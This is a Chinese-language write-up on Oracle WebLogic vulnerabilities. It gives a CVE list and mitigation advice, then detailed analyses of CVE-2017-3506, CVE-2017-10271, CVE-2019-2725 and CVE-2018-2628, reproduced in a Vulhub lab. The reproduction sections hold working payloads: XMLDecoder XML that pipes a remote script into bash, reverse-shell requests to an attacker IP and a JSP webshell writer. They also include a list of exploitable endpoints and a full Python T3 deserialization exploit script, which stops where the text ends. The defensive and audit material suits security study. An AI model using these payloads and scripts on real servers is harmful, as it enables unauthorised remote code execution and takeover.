Weblogic常见安全漏洞

常见漏洞

以下是WebLogic常见的安全漏洞列表，按类型和影响分类：

1. 反序列化漏洞

  • CVE-2017-3506

    • 描述：XMLDecoder反序列化漏洞，允许远程代码执行（RCE）。
    • 影响：攻击者通过构造恶意XML数据执行任意命令。

  • CVE-2017-10271

    • 描述：CVE-2017-3506的补丁绕过，同样通过XMLDecoder触发RCE。

  • CVE-2019-2725

    • 描述：WebLogic wls9-async组件反序列化漏洞，影响Oracle WebLogic 10.3.6.0及12.1.3.0版本。

  • CVE-2020-2551

    • 描述：通过IIOP协议的反序列化漏洞，攻击者可在未授权下远程执行代码。

  • CVE-2020-14882和CVE-2020-14883

    • 描述：通过14882控制台未授权绕过，再结合14883的远程加载xml文件实现RCE

  • CVE-2023-21839（历史补丁关联）

    • 背景：2023年未完全修复的漏洞，后续引发 CVE-2024-20931。
    • 影响：通过 T3 协议远程执行代码，需结合后续补丁彻底修复

  • CVE-2024-20931（JNDI注入）

    • 关联漏洞：CVE-2023-21839 补丁未完全修复的遗留问题。
    • 影响版本：12.2.1.4.0、14.1.1.0.0
    • 漏洞原理：ForeignOpaqueReference 对象在远程查询时触发二次 JNDI 注入，攻击者通过 T3/IIOP 协议接管服务器。

2. IIOP/T3协议反序列化漏洞

  • CVE-2015-4852

    • 描述：首个公开的T3反序列化漏洞，利用Apache Commons Collections链实现RCE

  • CVE-2017-3248

    • 类型：Java RMI 反序列化漏洞
    • 影响版本：WebLogic 10.3.6.0, 12.1.3.0 等
    • 原理：
      RMI 注册表（通过 T3 协议通信）未校验反序列化对象，攻击者可利用 RemoteObjectInvocationHandler 触发远程代码执行。
    • 关联协议：T3、RMI
    • 利用工具：ysoserial 的 JRMPClient Payload

  • CVE-2018-2628

    • 类型：T3 协议反序列化 RCE
    • 影响版本：WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.2/3 等
    • 原理：
      T3 协议处理 InboundMsgAbbrev 类的反序列化时，绕过黑名单过滤，利用 RemoteObjectInvocationHandler 和 JRMP 协议下发恶意代码。
    • 关键点：绕过对 java.rmi.registry.Registry 接口的校验，触发二次反序列化。
    • CVSS 评分：9.8（严重）

  • CVE-2020-2883

    • 类型：T3 协议补丁绕过漏洞
      • 影响版本：WebLogic 10.3.6.0, 12.2.1.3-12.2.1.5 等
      • 原理：
        CVE-2018-2628 的补丁未完全覆盖所有利用链，攻击者通过新的反序列化路径（如 UnicastRef）绕过防御。
      • 关联协议：T3
      • 修复建议：升级至 2020 年 4 月 Oracle 关键补丁更新（CPU）。

  • CVE-2020-2551

    • 类型：IIOP/T3 协议反序列化 RCE
      • 影响版本：WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3-12.2.1.5 等
      • 原理：
        通过 IIOP 协议（与 T3 协议共用反序列化逻辑）触发 UnitOfWorkChangeSet 类的反序列化漏洞。
      • 关联协议：IIOP、T3
      • 利用工具：weblogic-framework 或定制化 Payload。

  • CVE-2020-14644

    • 类型：核心组件反序列化 RCE
    • 影响版本：WebLogic 12.2.1.3-12.2.1.5, 14.1.1.0.0 等
    • 原理：
      Coherence 组件的反序列化漏洞通过 T3/IIOP 协议触发，允许未授权攻击者执行命令。
    • 关联协议：T3、IIOP
    • CVSS 评分：9.8（严重）

  • CVE-2020-14825

    • 漏洞类型：IIOP/T3协议反序列化漏洞
    • 影响版本：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
    • 描述：利用黑名单未覆盖的LockVersionExtractor类构造恶意序列化数据，通过IIOP或T3协议触发反序列化，实现RCE。
    • 关联协议：T3、IIOP

  • CVE-2020-14841 和 CVE-2020-14859

  • 漏洞类型：IIOP协议反序列化漏洞

  • 影响版本：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

  • 描述：通过IIOP协议绕过反序列化防护机制，攻击者可远程执行代码。这两个漏洞常与CVE-2020-14825一同被提及7。

  • 修复方式：应用Oracle安全补丁。

  • CVE-2024-21216

  • CVSS评分：9.8（严重）

  • 影响版本：12.2.1.4.0、14.1.1.0.0

  • 漏洞原理：通过 T3/IIOP 协议的反序列化漏洞，未经身份验证的攻击者可远程执行任意代码，完全控制服务器。

  • 修复方案：官方已发布补丁，建议禁用 T3/IIOP 协议作为临时缓解措施。

3. 未经身份验证的远程代码执行（RCE）

  • CVE-2020-14882
    • 描述：通过HTTP协议绕过身份验证，结合CVE-2020-14883（权限提升）实现未授权RCE。
  • CVE-2021-2109
    • 描述：Admin Console组件漏洞，允许未授权攻击者接管服务器。

4. 服务器端请求伪造（SSRF）

  • CVE-2014-4210
    • 描述：未授权SSRF漏洞，攻击者可探测内网服务或发起进一步攻击。

5. 权限提升漏洞

  • CVE-2020-14644
    • 描述：核心组件漏洞，攻击者可通过构造数据提升权限至管理员。

6. 管理控制台漏洞

  • 弱口令/默认配置
    • 风险：默认管理员账户（如weblogic/weblogic123）未修改，易被暴力破解。
  • CVE-2018-2893
    • 描述：控制台配置错误导致RCE，需认证用户利用。

7. 第三方库漏洞

  • Log4j (CVE-2021-44228)
    • 描述：若WebLogic使用受影响版本的Log4j，攻击者可通过日志注入实现RCE。

8. 其他高危漏洞

  • CVE-2020-14750
    • 描述：身份验证绕过漏洞，影响WebLogic多版本。
  • CVE-2018-3252
    • 描述：WebLogic Server远程代码执行漏洞，需攻击者构造特定T3请求。

缓解建议

  1. 及时更新补丁：定期应用Oracle官方安全补丁。
  2. 禁用高危协议：关闭不必要的T3/IIOP协议或限制访问IP。
  3. 强化身份验证：修改默认凭据，启用强密码策略。
  4. 网络隔离：将WebLogic部署在内网，限制公网暴露。
  5. 最小化权限：以非特权用户运行服务，避免使用root权限。

这些漏洞多数已被官方修复，但未及时更新的系统仍面临高风险。建议结合漏洞扫描工具（如Nessus）定期检查环境安全性。

漏洞细节

1.CVE-2017-3506

1. 漏洞背景

CVE-2017-3506 是 Oracle WebLogic Server 中 wls-wsat 组件的 XMLDecoder 反序列化漏洞，攻击者通过构造恶意 SOAP 请求触发反序列化，实现远程代码执行（RCE）。该漏洞影响 WebLogic 10.3.6.0、12.1.3.0、12.2.1.1 等版本。

2. 漏洞触发原理

核心代码流程

漏洞触发路径涉及以下关键代码段：

  1. 请求入口：
    攻击者发送 POST 请求到 /wls-wsat/CoordinatorPortType 等路径，SOAP 请求头中包含恶意 XML 数据。
  2. XML 解析流程：
    WebLogic 的 WorkContextServerTube.processRequest 方法调用 readHeaderOld，将请求中的 XML 数据传入 WorkContextXmlInputAdapter 类的构造函数。
  3. 反序列化执行：
    WorkContextXmlInputAdapter 直接调用 XMLDecoder 反序列化未经过滤的 XML 数据，导致恶意代码执行。

关键代码段：

1
2
3
4
// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1); // 直接反序列化输入流
}
恶意 XML 构造

攻击者构造的 XML 利用 java.lang.ProcessBuilder 执行系统命令，例如：

1
2
3
4
5
6
7
8
9
10
11
12
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="3">
        <void index="0"><string>/bin/bash</string></void>
        <void index="1"><string>-c</string></void>
        <void index="2"><string>curl http://攻击者IP/恶意脚本 | bash</string></void>
      </array>
      <void method="start"/>
    </void>
  </java>
</work:WorkContext>

该 XML 通过 ProcessBuilder 启动 /bin/bash 执行远程下载的恶意脚本。

3. 代码审计要点

审计关键点
  1. 反序列化入口：
    检查 XMLDecoder 的使用场景，尤其是用户可控的输入是否直接传入反序列化方法。
  2. XML 过滤机制：
    是否对 XML 标签（如 object、void、array）和类名（如 java.lang.ProcessBuilder）进行黑名单过滤。
  3. 补丁绕过风险：
    初始补丁（CVE-2017-3506）仅过滤 object 标签，后续 CVE-2017-10271 通过 array 或 void 标签绕过，需验证黑名单的完整性。
漏洞调用链分析
  • 触发点：WorkContextServerTube.processRequest 处理 SOAP 请求头。
  • 反序列化路径：
    1
    processRequest → readHeaderOld → WorkContextXmlInputAdapter → XMLDecoder.readObject()
    通过调试工具（如 IDA 或 Java 调试器）追踪 XMLDecoder 的调用栈，确认是否触发 ProcessBuilder.start() 方法。

4. 修复方案与审计验证

补丁分析

Oracle 针对 CVE-2017-3506 的补丁在 WorkContextXmlInputAdapter 中添加了 validate() 方法，使用 SAXParser 检查 XML 中是否包含 object 标签：

1
2
3
4
5
6
private void validate(InputStream is) {
    // 检查 XML 中是否存在 object 标签
    if (qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid context type: object");
    }
}

但该补丁因仅过滤单一标签而被绕过，后续 CVE-2017-10271 补丁扩展了黑名单（如 new、method 等）。

修复验证
  1. 组件删除：
    删除 wls-wsat.war 及相关目录（如 Middleware/wlserver_10.3/server/lib/wls-wsat.war）。
  2. 网络控制：
    限制 /wls-wsat/ 路径的访问权限，禁止外网直接访问。
  3. 补丁升级：
    确认已应用 Oracle 官方补丁（如 2017 年 4 月关键补丁）。

5. 总结与审计建议

  • 漏洞本质：XMLDecoder 反序列化未过滤用户输入的恶意标签。
  • 审计重点：关注所有 XML 解析逻辑，尤其是涉及动态类加载或命令执行的代码路径。
  • 防御建议：
    • 使用白名单机制替代黑名单，限制可反序列化的类。
    • 升级至最新版本，定期进行漏洞扫描（如使用 Nessus）。

通过代码审计可深入理解漏洞触发机制，结合补丁分析及修复验证，可有效防御此类反序列化漏洞。

2.CVE-2017-10271

一、漏洞背景

CVE-2017-10271 是 Oracle WebLogic Server 中 wls-wsat 组件（WebLogic Web Services Atomic Transactions）的 XMLDecoder 反序列化漏洞，允许攻击者通过构造恶意 SOAP 请求触发远程代码执行（RCE）。该漏洞是 CVE-2017-3506 的补丁绕过版本，影响 WebLogic 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0 和 12.2.1.2.0 等版本。

二、漏洞原理分析

1. 漏洞触发流程
  1. 入口请求：
    攻击者向 WebLogic 的 wls-wsat 服务端点（如 /wls-wsat/CoordinatorPortType）发送 SOAP 格式的 HTTP POST 请求，请求头中包含恶意 XML 数据。
  2. XML 解析与反序列化：
    WebLogic 的 WorkContextServerTube.processRequest 方法处理请求，通过 readHeaderOld 方法提取 SOAP 头部的 WorkContext 标签内容，并将其传递给 WorkContextXmlInputAdapter 类。
  3. XMLDecoder 反序列化：
    WorkContextXmlInputAdapter 直接调用 XMLDecoder 对未经验证的 XML 数据进行反序列化，导致攻击者构造的恶意代码（如 java.lang.ProcessBuilder）被执行。

关键代码段：

1
2
3
4
// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1); // 未过滤直接反序列化
}
2. 补丁绕过逻辑

  • CVE-2017-3506 的修复缺陷：Oracle 初始补丁仅过滤 object 标签，但攻击者可通过其他标签（如 array、void）绕过限制。

  • 恶意 XML 构造：
    利用 ProcessBuilder 启动 /bin/bash 执行命令，或通过 java.io.PrintWriter 写入 WebShell。例如：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <java version="1.4.0" class="java.beans.XMLDecoder">
      <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
          <void index="0"><string>/bin/bash</string></void>
          <void index="1"><string>-c</string></void>
          <void index="2"><string>bash -i >& /dev/tcp/攻击者IP/端口 0>&1</string></void>
        </array>
        <void method="start"/>
      </void>
    </java>

    运行 HTML

    该 XML 触发 ProcessBuilder.start() 执行反弹 Shell 命令

三、漏洞复现

1. 环境搭建

  1. 使用 Vulhub 快速部署

    • 下载 Vulhub 项目并进入漏洞目录： 
      1
      2
      cd vulhub/weblogic/CVE-2017-10271
      docker-compose up -d
    • 启动后访问 http://目标IP:7001，若返回 404 页面则说明 WebLogic 服务正常。

  2. 手动搭建 WebLogic 环境

    • 适用于 Linux 系统（如 CentOS 6.9），需安装 WebLogic 10.3.6.0 版本及兼容 JDK（如 JDK 1.8）。
2. 漏洞验证与利用

  1. 检测漏洞存在性

    • 访问 URL http://目标IP:7001/wls-wsat/CoordinatorPortType，若返回 如下格式页面则可能存在漏洞。

    image-20250404172624550

  2. 构造恶意请求

    • 反弹 Shell
      使用 Burp Suite 或 Python 脚本发送包含以下 XML 的 POST 请求： 

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      POST /wls-wsat/CoordinatorPortType HTTP/1.1
      Host: 目标IP:7001
      Content-Type: text/xml
      ...

      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

        <soapenv:Header>

          <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java version="1.8.0" class="java.beans.XMLDecoder">

              <void class="java.lang.ProcessBuilder">

                <array class="java.lang.String" length="3">

                  <void index="0"><string>/bin/bash</string></void>

                  <void index="1"><string>-c</string></void>

                  <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.100.129/1234 0&gt;&amp;1</string></void>

                </array>

                <void method="start"/>

              </void>

            </java>

          </work:WorkContext>

        </soapenv:Header>

        <soapenv:Body/>

      </soapenv:Envelope>
      1
      bash -i &gt;&amp; /dev/tcp/192.168.100.129/1234 0&gt;&amp;1

      image-20250404174026165

      image-20250404174305924

      注意：

      需在攻击机开启监听端口（如 nc -lvp 1234）。

      需要对特殊payload中的特殊字符进行实体编码，防止其特殊含义

    • 写入 WebShell
      修改 XML 中的 <ProcessBuilder> 为 <PrintWriter>，写入 JSP 文件： 

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20

      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>   
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
        <java><java version="1.4.0" class="java.beans.XMLDecoder"> 
        <object class="java.io.PrintWriter">   
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> 
        <void method="println">
      <string>  
        <![CDATA[
      <% out.print("webshell"); %>
        ]]> 
        </string>  
        </void>   
        <void method="close"/>   
        </object></java></java>  
        </work:WorkContext>   
        </soapenv:Header>   
        <soapenv:Body/>
      </soapenv:Envelope>

      访问 http://目标IP:7001/bea_wls_internal/shell.jsp 验证是否写入成功。

      注意：9j4dqk目录是根据部署时间和应用名称随机生成的短hash，具体利用时需利用爆破或者目录泄露。

3. 自动化工具利用
  • 使用 Python 脚本批量检测或执行命令，例如： 
    1
    2
    3
    4
    5
    6
    7
    import requests
    def exploit(url):
        headers = {'Content-Type': 'text/xml'}
        xml_payload = '上述反弹Shell的XML内容'
        response = requests.post(url, headers=headers, data=xml_payload)
        if response.status_code == 500:
            print("漏洞存在且利用成功！")

二、可利用的 URL 列表

以下为触发漏洞的核心 URL，需通过 POST 请求发送恶意 XML 数据：

  1. 主要利用端点

    • /wls-wsat/CoordinatorPortType
      描述：标准漏洞触发路径，所有复现流程均基于此 URL。

  2. 其他潜在端点 

    1
    2
    3
    4
    5
    6
    7
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11

三、注意事项

  1. 协议与端口

    • WebLogic 默认监听端口为 7001，但实际环境可能配置为 80、7002 等其他端口。
    • 确保目标服务器未禁用 T3/IIOP 协议（可通过网络策略限制）。

  2. 路径差异

    • WebShell 写入路径因 WebLogic 版本和安装目录不同而变化，需通过调试确定具体路径（如随机生成的目录名）。

  3. 防御建议

    • 删除 wls-wsat.war 组件或限制其访问权限。
    • 及时应用 Oracle 官方补丁（如 2017 年 10 月补丁）。

3.CVE-2019-2725

1. 漏洞背景

CVE-2019-2725 是 Oracle WebLogic 服务器的 反序列化远程代码执行（RCE）漏洞，影响 wls9_async_response.war 和 wsat.war 组件。该漏洞通过绕过 CVE-2017-10271 补丁的黑名单过滤机制，利用 XMLDecoder 反序列化未经验证的输入数据，导致攻击者可在未授权下执行任意命令。

2. 漏洞原理

(1) 核心触发流程
  1. 入口点：攻击者向 WebLogic 的异步通信服务端点（如 /_async/AsyncResponseService）发送恶意 SOAP 请求，请求中包含构造的 XML 数据。
  2. XML 解析：WebLogic 的 WorkContextServerTube 处理请求，将 XML 数据传递给 WorkContextXmlInputAdapter 类。
  3. 反序列化执行：WorkContextXmlInputAdapter 直接调用 XMLDecoder 对恶意 XML 进行反序列化，触发 ProcessBuilder 或 UnitOfWorkChangeSet 类的恶意代码执行。

关键代码段：

1
2
3
4
// WorkContextXmlInputAdapter 构造函数
public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1); // 未过滤直接反序列化
}
(2) 补丁绕过机制

  • 历史补丁缺陷：CVE-2017-10271 补丁仅过滤了 object、new、method 标签，但允许 void 和 array 标签通过。

  • 攻击载荷构造：通过 void 和 array 标签结合 java.lang.ProcessBuilder 或 java.lang.Runtime 类，绕过黑名单限制。
    示例 Payload：

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <work:WorkContext>
      <java version="1.8.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>wget http://攻击者IP/shell.jsp</string></void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>

3. 代码审计要点

(1) 反序列化入口
  • 组件路径：检查 wls9_async_response.war 和 wsat.war 中的 WorkContextXmlInputAdapter 类，确认是否直接调用 XMLDecoder 且未过滤输入。
  • HTTP 请求处理链：跟踪 BaseWSServlet → SoapProcessor → WorkContextServerTube 的调用链，验证 XML 数据是否未经校验直接反序列化。
(2) 补丁验证
  • 黑名单检查：确认补丁是否扩展了黑名单（如新增对 class 属性的过滤），并验证 void 和 array 标签的解析逻辑是否存在漏洞。
  • 长度限制绕过：Oracle 在补丁中限制了 array 的 length 属性（如不得大于 10000），需检查是否可通过构造合法长度绕过。
(3) 利用链分析
  • UnitOfWorkChangeSet 类：该类的反序列化过程中通过 ByteArrayInputStream 和 ObjectInputStream 直接调用 readObject()，若 JDK 版本 ≤ 7u21，可利用 ysoserial 生成恶意对象。
  • 日志与调试信息：通过调试器（如 IDEA）在 ProcessBuilder.start() 或 Runtime.exec() 处设置断点，验证是否触发恶意代码执行。

4. 漏洞修复建议

  1. 补丁升级：应用 Oracle 官方补丁（如 2019 年 4 月紧急补丁），彻底修复反序列化逻辑。
  2. 组件删除：删除 wls9_async_response.war 和 wls-wsat.war 文件，并重启服务。
  3. JDK 升级：将 WebLogic 默认的 JDK 1.6 升级至 7u21 以上版本，避免原生反序列化漏洞。
  4. 访问控制：通过防火墙或 ACL 限制对 /_async/ 和 /wls-wsat/ 路径的访问。

5. 总结

CVE-2019-2725 的 本质是黑名单过滤机制不完善，攻击者通过构造 void 和 array 标签绕过补丁限制。代码审计需重点关注 XML 解析流程中的输入校验和反序列化触发点，结合补丁差异分析漏洞成因。该漏洞的广泛利用（如挖矿木马、内网渗透）凸显了及时升级和组件管理的重要性。

4.CVE-2018-2628

一、漏洞背景

CVE-2018-2628 是 Oracle WebLogic Server 的 高危反序列化漏洞，允许攻击者通过 T3 协议发送恶意反序列化数据，触发远程代码执行（RCE）。该漏洞的核心问题在于 WebLogic 对 RMI（远程方法调用）接口的校验不充分，结合 JRMP（Java Remote Messaging Protocol）协议绕过黑名单限制，导致未授权攻击者可接管服务器。

二、漏洞原理

1. 触发机制

  1. 协议入口：
    WebLogic 默认开启的 T3 协议用于支持分布式通信，但未对传入的 RMI 请求进行严格的序列化数据校验。攻击者通过 T3 协议发送构造的恶意数据包，触发反序列化流程。

  2. 反序列化绕过：
    WebLogic 的 weblogic.rjvm.InboundMsgAbbrev 类在反序列化时调用 resolveProxyClass 方法，仅校验 java.rmi.registry.Registry 接口，而攻击者可通过其他 RMI 接口（如 java.rmi.activation.Activator）绕过黑名单限制。

  3. 利用链构造：
    利用 ysoserial 工具生成包含恶意命令的序列化对象（如 CommonsCollections1），通过 RemoteObjectInvocationHandler 和 UnicastRef 类建立与攻击机 JRMP 服务的连接实现二次反序列化加载恶意序列化对象，加载并执行远程恶意代码。

关键代码段： 

1
2
3
4
5
6
7
8
9
// 反序列化绕过点：resolveProxyClass 方法仅校验特定接口
protected Class<?> resolveProxyClass(String[] interfaces) {
    for (String str : interfaces) {
        if (str.equals("java.rmi.registry.Registry")) {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
    }
    return super.resolveProxyClass(interfaces);
}
2. 漏洞利用链
  • 攻击流程：
    1. 攻击机启动 JRMP 服务监听端口，生成恶意序列化对象。
    2. 目标 WebLogic 接收到构造的 T3 请求后，反序列化触发 JRMP 连接请求。
    3. 攻击机通过 JRMP 服务下发恶意代码，执行系统命令（如反弹 Shell 或写入 WebShell）。

三、代码审计要点

1. 审计关键路径

  1. 反序列化入口：
    检查 weblogic.rjvm.InboundMsgAbbrev 类中的 readObject 方法，确认是否对输入数据进行了严格的校验。

  2. 黑名单过滤机制：

    • 补丁中新增的 WebLogicFilterConfig 类会过滤 sun.rmi.server.UnicastRef 等危险类，但需验证是否覆盖完整的反射链（如 RemoteObjectInvocationHandler 未被完全过滤）。
    • 确认黑名单是否动态加载，避免补丁文件未生效（如 BUG27395085_10360180417.jar 未正确更新）。

  3. 协议控制逻辑：

    • 检查 T3 协议的网络访问权限配置（如 ConnectionFilterImpl 规则是否限制外部 IP 访问）。
2. 补丁有效性验证

  • 补丁分析：
    官方补丁通过扩展黑名单和增强 resolveProxyClass 的校验逻辑修复漏洞，但早期版本可能因 JDK 兼容性问题（如 JDK ≤ 7u21）仍存在绕过风险。

  • 绕过风险：
    若反序列化链中未直接使用黑名单类（如 UnicastRef 仅在底层调用），补丁可能失效。需结合调试工具跟踪反序列化过程，确认所有关键节点是否被覆盖。

四、漏洞利用流程

一、环境准备

  1. 靶机环境搭建
    使用 Vulhub 的 Docker 环境快速部署漏洞靶机： 

    1
    2
    3
    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/weblogic/CVE-2018-2628
    docker-compose up -d

    启动后，访问 http://靶机IP:7001/console 确认 WebLogic 服务正常运行。

  2. 攻击机工具准备

    • ysoserial：用于生成反序列化 Payload 和启动 JRMP 监听服务（下载地址）。
    • Python 脚本：如 44553.py 或 exploit.py（示例脚本）。
    • Java 环境：需 JDK 1.8+，避免高版本兼容性问题（如 Java 17 无法运行 ysoserial）。

  3. PoC 编写

    • 将44553.py exp改编为python3且可自定义payload文件的exp，实现代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding: utf-8 -*-
# Modified for Python 3 compatibility

import binascii
import socket
import sys
import time


def generate_payload(path_payload):
    # 生成ysoserial payload
    # command = f'java -jar {path_ysoserial} {jrmp_client} {jrmp_listener_ip}:{jrmp_listener_port} > payload.out'
    # print(f"command: {command}")
    # os.system(command)
    with open(path_payload, 'rb') as f:
        bin_file = f.read()
    return binascii.hexlify(bin_file).decode()


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    handshake = binascii.unhexlify('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
    sock.send(handshake)
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = binascii.unhexlify(
        '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371')

    data2 = binascii.unhexlify('007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)))

    data3 = binascii.unhexlify('1a7727000d3234322e323134')
    data4 = binascii.unhexlify('2e312e32353461863d1d0000000078')

    for d in [data1, data2, data3, data4]:
        sock.send(d)
    time.sleep(2)
    print(f'send request payload successful, recv length: {len(sock.recv(2048))}')


def send_payload_objdata(sock, payload_hex):
    payload = binascii.unhexlify(
        '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000')

    payload += binascii.unhexlify(payload_hex)
    payload += binascii.unhexlify(
        'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')

    header = binascii.unhexlify(f'{len(payload) + 4:08x}')
    sock.send(header + payload)
    time.sleep(2)
    sock.send(header + payload)

    res = b''
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            res += chunk
            time.sleep(0.1)
    except Exception as e:
        print(f"Error receiving data: {e}")

    return res.decode('latin-1')


def exploit(dip, dport, path_payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    try:
        t3_handshake(sock, server_addr)
        build_t3_request_object(sock, dport)
        payload_hex = generate_payload(path_payload)
        print(f"payload: {payload_hex}")
        rs = send_payload_objdata(sock, payload_hex)
        print(f'response: {rs}')
    except Exception as e:
        print(f"Exploit failed: {e}")
    finally:
        sock.close()
    print('exploit completed!')


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to payload] ')
        print('Eg: exploit.py 192.168.100.1 7001 payload.out')
